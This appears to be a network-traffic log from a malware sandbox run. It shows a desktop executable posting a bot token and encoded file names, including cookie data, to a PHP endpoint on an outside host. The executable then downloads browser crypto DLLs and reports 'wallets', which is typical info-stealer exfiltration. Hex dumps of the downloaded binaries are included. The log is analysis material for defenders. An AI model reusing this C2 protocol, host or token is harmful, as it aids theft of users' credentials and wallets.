Nov 11, 2024 19:17:32.494859934 CET	636	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49740	185.215.113.206	80	5900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:17:40.710923910 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 185.215.113.206 Content-Length: 999 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:17:40.710952044 CET	999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 Data Ascii: ------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 11, 2024 19:17:41.869355917 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:42.052686930 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="file"------EBKJDBAAKJDGCBFHCFCG--
Nov 11, 2024 19:17:42.899126053 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49794	185.215.113.206	80	5900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:17:48.579039097 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:17:48.579104900 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 11, 2024 19:17:49.744784117 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:50.793010950 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file"------IDAAKEHJDHJKEBFHJEGD--
Nov 11, 2024 19:17:51.486726999 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:52.486824036 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:52.687454939 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 11, 2024 19:17:52.687483072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 11, 2024 19:17:52.687496901 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 11, 2024 19:17:52.687510014 CET	336	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 11, 2024 19:17:52.688266993 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 11, 2024 19:17:52.688280106 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Nov 11, 2024 19:17:52.688291073 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 11, 2024 19:17:52.688303947 CET	1236	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 11, 2024 19:17:52.688314915 CET	1236	IN	Data Raw: d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 Data Ascii: E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLE
Nov 11, 2024 19:17:52.688661098 CET	1236	IN	Data Raw: bd 41 fb 89 f3 81 c3 2b f8 94 fe 89 5d ec 89 d7 81 d7 72 f3 6e 3c 89 7d e0 33 9d d0 fe ff ff 33 bd d4 fe ff ff 89 d9 0f a4 f9 08 0f a4 df 08 89 bd 48 ff ff ff 8b 9d 74 ff ff ff 8b 7b 28 89 bd fc fe ff ff 01 f8 8b 7b 2c 89 bd 00 ff ff ff 8b 5d f0 Data Ascii: A+]rn<}33Ht{({,]HE]11EuUUuu11UHtF00Qv4,AA8UA<}
Nov 11, 2024 19:17:53.433599949 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:53.633837938 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 11, 2024 19:17:54.014453888 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:54.214545965 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 11, 2024 19:17:54.415440083 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:54.617446899 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 11, 2024 19:17:55.277354956 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:55.477535963 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 11, 2024 19:17:55.674041986 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:55.876852036 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 11, 2024 19:17:56.218981981 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:17:56.925793886 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:57.057102919 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"wallets------KJKFBAFIDAEBFHJKJEBF--
